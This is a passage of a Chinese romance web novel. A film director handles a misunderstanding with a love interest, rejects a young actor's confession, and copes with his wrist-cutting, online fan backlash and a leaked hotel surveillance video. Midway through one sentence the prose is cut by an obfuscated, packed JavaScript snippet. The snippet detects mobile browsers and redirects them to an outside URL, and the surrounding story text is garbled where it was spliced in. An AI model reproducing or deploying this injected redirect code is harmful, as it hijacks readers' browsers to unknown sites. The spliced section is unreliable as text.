江逢灯的神经因宿醉而脆弱不堪,导致她有点不识字,长按后不小心点到了’搜一搜’,出来的页面分别是【我觉得自己很差劲】【我是一个糟糕的人】【我是不应该被选择的】其实你们并不合适】,江逢灯马上取消了搜索。 所有的猜测、不安、自我怀疑,在这一刻似乎都得到印证。 她无法抑制的又想起那个晚上,也无法抑制的想下床找酒,但是人难过得竟动弹不得,难过得让她无法正常呼吸和思考。 只好又问一句:“我哪里不好了啊?” 可能是昨晚的酒意未散,江逢灯没等到回复,居然敢直接打了个微信电话过去,没想到裴伊秒接。 “怎么了?”裴伊那边背景音乱七八糟,还有爵士乐声。 他的声音听起来很松弛,甚至还带笑。 热热闹闹的背景音和他的语气,让江逢灯心里忍不住伤心,而又因觉得自己没资格伤心,所以把伤心酿成矛盾的愤怒。 她劈头就问:“你是什么意思?什么叫不怎么样?我哪里做得不好了?我们一块儿吃饭的时候你表现的那么正常,是我那天晚上给你造成麻烦了是吗?那你那天晚上怎么不说呢?等到今天才说我不怎么样?你这人怎么这样?还有,这么一大早的你就去外面玩儿了?这么吵,你在酒吧?” 裴伊被这一串问题砸得无奈,挑了个最不重要的问题回:“江小姐,我这里现在是下午四点。” “……你在国外?” “嗯,在洛杉矶有个会。让你失望了,我在见客户,并且,我不去酒吧。” 最后那句话,简直是在她的理智上踩了一脚。 江逢灯气势一下子弱了,但还是不甘心,“那我究竟是哪里让你不满意?” 裴伊想了一会儿,装模作样叹口气:“你点了三道和坚果有关的菜。” 江逢灯迷茫:“我没点啊。” 她对坚果过敏,点菜时应该会避开。 他说:“你点了。” 以裴伊的性格,他既然能如此笃定,那江逢灯只能底气不足地支吾半天:“我可能没注意……” 裴伊说:“我知道是你没注意,所以给你删了。” “那也不能因为这个就对我不满意吧?我又没真吃!” “如果你的定义里,约会包括一方需要时刻警惕另一方会不会因为误食而进医院,那我确实不满意。” 江逢灯被噎住,电话那头传来别人的声音在叫裴伊,裴伊应了一声,然后对她说:“我们晚点再说好吗?” “等等!”江逢灯叫住他,她怕等不到再说,也怕自己的勇气再过一分钟就会消散不见,她语速很快,“所以你是因为我记忆差,以及我不够细心,而觉得我不怎么样吗?” 裴伊很轻的一声笑,通过电流传过来有点失真,但还是让江逢灯的耳朵痒了一下。 “我可没说你不怎么样。”他说。 “你说了!” 裴伊的声音里还带着笑意:“我说的是第一次的约会不怎么样,不是说你。你很好,逢灯。” 江逢灯感觉心跳有点快,她庆幸这是在打电话,裴伊看不见她的表情。 裴伊继续:“所以我和你的助理约好了时间,等我回国,我会安排好第二次约会。” “哦……好。”江逢灯干巴巴地应了一声,脑子里却在炸七彩烟花。 “还有事吗?” “没了。” “那好,记得要去吃早饭。” - 接下来几天,江逢灯觉得自己被充了电。工作效率奇高,情绪稳定,对着最难缠的资方代表也能保持春风化雨般的微笑。 周三,剧组转战到废弃的工厂区,拍摄几场追逐戏。 这几场戏是男二的专场,这个男二是平台制片方塞进来的人,长相是当下流行款,粉丝不少,演技接近于无。 但演技差,对于有经验的导演来说,不是不可逾越的鸿沟。 可以调,可以磨,甚至可以为了演员的特质修改剧本。 江逢灯不想为难演员、毕竟那就是为难平台方,也不想天天吵架拖进度、毕竟大家混口饭吃都不容易,但她同样不想自己手上出烂片、毕竟自己也要脸。 于是她根据男二偏阴柔的气质,大刀阔斧修改了原剧本男二冲动热血人设,改成外表冷漠内心有伤的角色,减少了大量需要外放情绪的台词,增加眼神戏。 这样一来,男二的表演还挺贴脸,虽然技巧依旧生涩,但至少不让人出戏,甚至还能流露出几分讨喜的脆弱。 男二背后的团队显然懂行,知道直接空降男主容易引发群嘲,不如塞进一些大导的项目里演个戏份过得去的配角,大导会调戏更会调演员,只要人设不出错,表演过得去,反而容易赚取好口碑。 只要时间熬久了,同样能无痛升成老艺术家。 前两年才出道,两年只进了三个剧组,演的都是这类镶边但重要的配角。 只是大导 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17026095|194411||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们见惯了这类事,对这类人公事公办已算客气,更多的是冷淡,面子上过得去就行。 像江逢灯这样,不仅不排斥,还肯为他费心改剧本、耐心讲戏的导演,男二是头一回遇到。 尤其是对比组里另一位导演董森之——他从没正眼看过男二。男二在他手下NG了无数次,被骂得狗血淋头。 于是江逢灯那不掺杂个人好恶的温和,在男二眼里,被无限放大美化。 男二得了柔情,就显得有点难缠了……拍摄间隙,男二的助理频繁往江逢灯这边送东西,先是果切和甜品,接着是咖啡,后来开始送花。 江逢灯一开始没在意,只当是年轻演员在做人。 东西收了,让助理分给团队大家吃;花收了,插在休息室的花瓶里。 直到有一天收工后,男二亲自过来,提出送她回酒店,江逢灯这才觉出不对劲。 回程车上,男二聊了会儿戏,话题渐渐跑偏,开始聊起自己的理想型——独立、有才华、像光一样指引他的女性。 眼神灼灼,意有所指。 江逢灯心里叹了口气,这种戏码她见得也多。 她拍戏多年,年轻漂亮的男演员想要快速获得资源、得到青睐,想走捷径的不在少数。献殷勤,表心意,甚至更露骨的暗示,她都遇到过,也都能挡回去。 但男二的眼神里是满满的真心,甚至因此显得笨拙。 他不是游刃有余的情场老手,他的讨好生硬,他的暗示也不够圆滑。 这反而让江逢灯更觉棘手。 对付别有用心者,她毫不心软戳破他们的算计。 但面对一份真诚的好感,拒绝起来总要多一分不忍,怕伤了珍贵的真心,也怕自己显得过于冷酷。 她正斟酌着措辞,男二却已经鼓起勇气,把话挑明。 “江导,我很欣赏您。不仅仅是作为导演。这段时间,是我开始拍戏以来最开心、也收获最多的时候。我知道很多人觉得我就是个靠关系的花瓶,但我是真的喜欢演戏。家里不同意,我是跟家里吵翻了才走到今天。我想当个好演员,像您这样的导演,让我觉得自己真的有这个可能。我知道我可能还不够好,但我会努力的。江导,我能追求您吗?我可以公开恋情。” 江逢灯沉默了。 真心喜欢表演,真心想当好演员,也是真心对她。 这几重真诚,像几块石头压在江逢灯心上。 拒绝一个只想走捷径的人很容易,但拒绝一个捧着真心和梦想的人,每句话都需要再三动念。 她不想打击他的演员梦,也不想轻慢这份好感。 可她又必须拒绝。 江逢灯一边在想如何拒绝得漂亮,一边却因此想到了裴伊。 裴伊会考虑她,正是因为裴伊害怕真心的重量,害怕需要回应的情感需求,所以要一段不含真心的关系。 而此刻,男二捧到面前的,恰恰是一份赤诚的、需要回应的真心。 这认知让江逢灯心里复杂,她看着眼前年轻男孩发亮的眼睛,再次意识到,真心的确是很重的东西,接受它需要勇气,辜负它需要愧疚,而假装它不存在需要一辈子演戏。 她做不到像裴伊那样,把真心视为需要规避的风险。但她此刻,正因为感受到了男二这份真心的重量,而更加理解了裴伊的选择。 也正因为理解了裴伊的选择,她忽然有了力量。 江逢灯直视他的眼睛:“谢谢你的信任,也谢谢你的欣赏。” “你能说出这些话,我很高兴。当一个好演员,确实需要像你这样的赤诚和热爱。这条路不容易,但你有这份心,就已经比别人走得更远了。” “但是,关于感情的部分,我很抱歉,我不能接受。我心里已经有喜欢很多年的人了。所以,我不能接受你的心意。” 男二眼里的光黯淡下去,脸上闪过失落和尴尬。 江逢灯没给他开口机会,语气转为劝诫:“把你的心思都放在演戏上吧。你今天在镜头前爆发的那场戏很有潜力。但光有潜力不够,你需要更踏实的练习。” 男二低着头半天没说话,然后嗯了一声:“我知道了。对不起,江导,是我冒昧了。” “没关系。回去好好休息。” 车子在酒店门口停下,男二默默下车,替她拉开车门,然后低着头离开。 江逢灯站在酒店门口,看着男二略显仓惶的背影,心里没有多少波澜,只想到了自己那需要以合作为名才能靠近的感情。 她心底早已被一个人占满,没有多余的空间,去接受另一份或许真诚、但终究不是她的感情。 夜风微凉。她抬头看了看都市夜空,想起大洋彼岸的洛杉矶,此刻应该是阳光明媚的午后。 不知道裴伊忙完了没有。 6. 剧本 第二天男二的戏,江逢灯特意没去,她窝在机房里剪片子。她以为自己去了会让男二尴尬,自己不出现反而会让一切正常。 没想到男的竟如此不争气,状态一塌糊涂,眼神空洞,台词说得像念经,一场对话戏,NG了三次。 董森之把对讲机往监视器台上一扔,“你是来梦游的还是来演戏的?需要我给你找个床吗?” 全场鸦雀无声,葛瑞思在旁边看着,心里叹了口气。 她放下场记板走过去,脸上堆起职业化的笑容:“老师,是不是昨晚没休息好?咱们放松点,这场戏情绪没那么重,你就当正常聊天。” 得罪不起这位少爷,毕竟戏还得拍,不能被资方怪罪,江逢灯不在,葛瑞思想把场面圆过去。 没想到男二抬起头看她,眼圈有点红:“姐,我是不是特别差劲?” 葛瑞思人精一样:“怎么会呢,昨天那几场戏不是挺好的吗?江导都夸你有潜力。就是今天状态没调整好,没事儿,咱慢慢来。” “江导……”男二重复了一遍这两个字,眼神更黯淡,“她是不是生我气了?所以不来了?” 葛瑞思多年混迹片场,这她熟啊,这些年冲着江逢灯来的男男女女大多都是这个调调。 她面上不显,依旧笑眯眯的:“哪儿能啊!江导在工作室赶后期呢,她特意交代了,今天这几场戏董导把控就行,你演戏,她放心。” 男二还想说什么。葛瑞思没给他机会,拍了拍他的胳膊:“老师,调整一下,咱们抓紧时间再来一条。这棚租一天可不便宜,耽误进度江导该心疼预算了。” 男二没再说话,转身走回定位点。 葛瑞思退回监视器旁边,冲董森之使了个眼色,董森之重新拿起对讲机。 又拍了两条,勉强能用。 上午的戏总算磕磕绊绊拍完。 中午吃饭,葛瑞思留意着男二那边。看见他一个人低着头往休息室方向走。 她跟董森之打了个招呼:“我去看看那小子,别真出什么事。” 董森之:“随他。” 葛瑞思找到休息室,门关着。她敲了敲没反应。试着拧了下门把手,锁了。 “老师?”她提高声音。 里面传来一点窸窣声,但没人应。 葛瑞思给男二的助理打电话:“你家老师在休息室吗?我有点事找他,门好像锁了。” 助理很快跑过来,也敲不开门,有点慌。 “有备用钥匙吗?”葛瑞思问。 “没……这休息室是临时的。” 葛瑞思当机立断:“去找场务,看看能不能撬开,或者从隔壁阳台能不能翻过去。快点。” 助理应声跑开。 葛瑞思贴在门上听,里面安静,她突然觉得头皮发麻,也顾不上什么了,退后两步,抬脚就往门锁的位置踹! 门没开。 “我来吧。”董森之不知道什么时候过来,示意葛瑞思闪到一边,自己用肩膀撞向门板,老式的门锁连同部分门框一起裂开,门向内弹开。 休息室里的景象让两人倒吸一口凉气,男二割了腕,正流着血眼睛半睁着看她们。 葛瑞思第一个反应过来,扯下自己脖子上的丝巾往他手腕上缠,用力按住。 董森之掏出手机打120。 男二看着葛瑞思,声音轻得几乎听不见:“……江导……我想见江导……” 葛瑞思看着他这副样子只想骂人,但手上按着伤口,她只能咬牙把骂人的话咽回去:“你先别说话,保存体力。救护车马上来。” 救护车来得很快。 男二被抬上车时,还在喃喃要见江逢灯。 葛瑞思跟着上了车,一路压着火气,看着医护人员处理伤口。 伤口不深,没伤到主要血管,只是看起来吓人。 男二的经纪人脸色铁青,一边安排封锁消息,一边跟剧组沟通。 葛瑞思处理好医院这边,走到走廊尽头,给江逢灯打电话。 “出事了。男二在休息室割腕了,现在在医院,没大事。但他一直嚷嚷着要见你。” 江逢灯问:“现场处理干净了吗?有没有外人看见?” “场务和助理在,已经嘱咐过了。救护车是从后门走的,应该没引起注意。但他团队那边不好说。” “我知道了。地址发我。我这边忙完过去一趟。” “你真要去?他现在情绪不稳定,你去万一他再说点什么做点什么……” “不去更麻烦。他是剧组演员,我是总导演。于公于私我都得露面。” 葛瑞思无话可说,江逢灯总是看得清楚。 “你小心点。”她最后只能叮嘱。 安排得再隐秘,但架不住有神通广大的粉丝蹲点,不知道从哪个渠道得知了消息,拍到了男二被送入病房的照片。 粉丝炸了。 微博上,男二的超话和各大营销号底下,涌出无数质问。 【@工作室你们是死的吗?】 【在剧组出的事?《无声火》剧组不给个说法?】 【是不是工作压力太大了?还是被欺负了?】 【听说导演很严厉,ng很多次,是不是被pua了?】 【工作室出来说话!】 虽然男二团队立刻发了声明,称艺人因个人问题不慎划伤,但粉丝并不买账,反而觉得是工作室不作为,矛头指向剧组和导演。 江逢灯看到这些消息时,对旁边的小吴说:“把下午的安排推了,我去趟医院。” “江导,现在去医院会不会……”小吴有些担心。 “不去才麻烦。”江逢灯拎起外套,“躲着反而显得心虚。” 医院呆不下去,男二换了一家更隐秘的酒店套房,说是方便静养。 江逢灯按照地址找过去。 男二半在客厅的沙发上,左手腕包着纱布,脸色依旧不好看,但眼神在看到江逢灯时带上了愧疚和不安。 “江导。”他想坐直身体。 “躺着吧。感觉怎么样?” “我好多了。对不起,江导,给您添麻烦了。” 江逢灯没接这话,直接问:“为什么这么做?” 林皓沉默了很久:“我就是觉得特别难受。演戏演不好,喜欢的人也不喜欢我,我好像什么都做不好……” “所以就用伤害自己的方式来证明你很难受?”江逢灯话其实很尖锐,让对方瑟缩了一下。 “我昨天跟你说的话,你听进去多少?” 男二被她看得有些慌,答非所问:“我听进去了。” “听进去了,然后今天演戏魂不守舍,还闹出这种事?你是觉得,用这种方式,能让我愧疚?还是能改变什么?” “我没有!我没想逼你!我就是控制不住……” “你口口声声说想当好演员,却连最基本的情绪管理都做不到。遇到一点挫折就用伤害自己来发泄,你觉得这样的心性,能在这条路上走多远?” 江逢灯一刀刀割开男二试图用痛苦包裹的脆弱。 男二的眼泪掉下来,声音哽咽:“我什么都做不好,可是我喜欢演戏是真的,我喜欢你也是真的。” 看着他哭得狼狈又可怜,江逢灯却只觉得生气,她其实一直都不是一个脾气特别好的人。 “如果你觉得在这个剧组待不下去,如果你觉得我的存在严重影响你的状态,我们可以解约。我知道你有背景。所以要么换了你,要么换了我。你自己选。” 这话说得太重,男二彻底僵住,眼泪挂在脸上,难以置信地看着江逢灯。 “你要换掉我?” “也可以是我走。”江逢灯站起来,居高临下地看着他,“制片方和平台那边我会去沟通。你团队也可以去运作。总之,这样下去没法拍。你今天能割腕,明天是不是就能从楼上跳下去?我担不起这个责任,剧组也耗不起。” 男二脸上的血色褪得干干净净,他看着江逢灯毫无波澜的眼睛,知道眼前这个女人真的会说到做到。 她对他的喜欢和痛苦,通通没有任何兴趣。 他自以为的深情,在她眼里,不过是耽误工作的无理取闹。 这个认知比手腕上的伤口更疼。 “江导,对不起,我不会再这样了。我想拍完这部戏,我想好好演。” 江逢灯看着他看了很久:“明天晚上九点,B棚,是你的两场雨戏。请不要迟到,也不要再让我看到你今天这种状态。” 说完她转身离开了房间。 门关上的瞬间,她听到里面传来的哭声。 第二天晚上,雨从下午就已经下了起来,还伴有雷声。 葛瑞思在听到第二声雷响时,就挪到了江逢灯身边,伸手挽住了她胳膊:“让小吴送你回去吧,打雷了,这儿有我和董森之盯着。“ 江逢灯白着一张脸摇头,说:“我怕我不在这儿他又作妖,别耽误进度了,这都耽误几天了,烦。” 葛瑞思没再劝,只是把她的手握得更紧。 董森之调试完机器走过来,看见两人挽得紧紧,挑了挑眉:“你俩干嘛呢?牵手观摩感情戏?” 葛瑞思冲他冷冷一笑:“怎么,董导也想牵?排队。” 董森之翻了个白眼,扔下一句神经病转身就走,但转身时耳朵根有点可疑的红。 也许是江逢灯在场,也许是最后通牒起了作用,男二的状态明显投入许多。几场情绪激烈的雨戏,还拍得可圈可点,连董森之脸色都好看了点。 最后一场拍完,工作人员开始收拾场地,演员退场换衣服。 男二换了干爽的衣服出来,犹豫了一下,还是朝着监视器这边走过来,他看见了江逢灯今天一直脸色很差劲,他觉得是因为自己,想再过来解释一遍。 董森之看见他过来,立刻把他拦住,语气也不太客气:“赶紧回吧,这没你事儿了。” 江逢灯也往这边看了一眼,完全没理。 视而不见太伤人了,可能今天在雨里也发泄得不够彻底,男二又哭了,冲着江逢灯的方向:“我喜欢你有什么错?!你单身我也单身,我喜欢你,我一点错都没有!” 他越说越激动,几乎是嚎啕大哭:“我就是喜欢你!我有什么办法!” 一嗓子把周围还没散尽的工作人员都喊愣了,无数道目光唰地投过来。 董森之声音压着怒火:“你发什么疯!” 男二被他吼得一哆嗦,哭声小了点,但还抽噎着,红着眼睛瞪着董森之,又看看被挡在后面的江逢灯,眼神又怨又痴。 “滚。”董森之又吐出一个字。 男二的助理连拉带拽地把人拖走,棚里所有人都低着头假装忙碌。 葛瑞思松开一直握着 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“我说我进去三个小时是骂了他一顿然后谈解约,我说他割腕是因为演技太差压力大,谁信?” 小吴语塞。 “男二团队发声明了吗?”江逢灯问。 “发了,说是误会,艺人是在走戏,与江导只是正常的工作沟通。”小吴把手机递过来。 声明写得冠冕堂皇,但底下评论根本不买账。 “行了。准备一下,今天去棚里。戏还得拍。” 小吴简直要跪了:“你现在去片场?外面说不定有娱乐记者等着。” “那就让他们拍。告诉剧组所有人,正常工作,不接受任何采访。” 一整天,江逢灯照常出现在片场,指挥拍摄,和演员讲戏,跟董森之讨论镜头。 董森之拍戏间隙走过来,递给她一瓶水:“要不要我找人把那小子揍一顿?” 江逢灯拧开瓶盖喝了一口:“揍他干嘛?” “看他烦。”董森之言简意赅。 葛瑞思在旁边也烦:“那监控录像哪儿来的?还掐着点跟录音一起放?” 江逢灯也想过这个问题。酒店管理再松散,监控录像也不是随便什么人都能拿到的。而且时机掐得这么准,明显是有人背后推波助澜。 收工回到酒店时,是晚上九点多。 江逢灯刚下车,就看到酒店门口停着裴伊的车,车上人也看见了她,开门后却是乔可。 “江小姐,裴总让我来接您。” “去哪儿?” 乔可替她拉开车门:“去桐园。有事情需要您过去处理一趟。” 江逢灯跟着乔可走进去,院子里有几个人,裴伊坐着,伊瞧靠在石桌上,剩下三四个人站着。 只是气氛沉郁,真是浪费了这一院子的好景色。 看到江逢灯进来,裴伊走过去接她。 一起走近后,裴伊对着伊瞧说:”伊小姐,道歉吧。“ 江逢灯:“啊?” 伊瞧没吭声。 裴伊看着她重复了一遍,声音比刚才更低:“道歉。” 伊瞧看向江逢灯,眼神不甘:“江小姐,对不起。我不应该擅自调取并泄露酒店监控录像,损害了您的名誉。” 江逢灯想通得很快,那家酒店是裴父酒店集团的,伊瞧在那任职。那天晚上应该是伊瞧看到自己进入了房间,并且调了监控发给了别人。 “为什么?”江逢灯实在不理解,“我跟你无冤无仇。” 这句话似乎刺痛了伊瞧,她眼神里的冰冷几乎要溢出:“那你还真是一个大好人。” 裴伊的脸色冷下来:“伊瞧,你要是不会说话,我可以送你去国外再读几年书。读到你学会什么叫礼貌为止。” 伊瞧咬着嘴唇,猛地展志,转身快步冲出院子。 裴伊像没事人一样,转向那几个噤若寒蝉的:“酒店管理失职,内部人员违规操作泄露客人隐私。后续的处理方案和给江小姐的赔偿、公开道歉,明天上班前我要看到报告。” “是,裴总!”几个人躬身应道。 院子里只剩下江逢灯和裴伊两个人。 刚才那一连串的变故信息量太大,江逢灯还有点转不过来。 她看着裴伊,裴伊却先开口:“吓到了?” “那倒没有。” “那就好,抱歉,事情发生得突然,电话里说不清楚,直接处理掉比较有效率。” 江逢灯点点头表示理解,然后又问:“伊瞧她为什么这么做?” “她一直在我母亲身边长大,有些想法可能被误导了。觉得某些位置理所应当是她的。你的出现让她感觉到了威胁。” 这部分的话说得很含蓄,裴伊看着她,转了个话题:“这件事,是我这边的人给你惹的麻烦。我很抱歉。酒店明天会出官方声明,并向你公开道歉。尽可能挽回你的声誉。” “但是,舆论有时候不讲逻辑。声明可能无法平息猜测。所以我这边还有一个提议,看你是否愿意接受。” “你说。” “你可以选择公开你已经有了未婚夫。Pupil的账号会转发确认。这可以为你提供一个有力的解释,来冲刷掉你和那位男演员的传闻。对于公众来说,你的行为动机会被重新评估,潜规则的猜测也会被削弱。”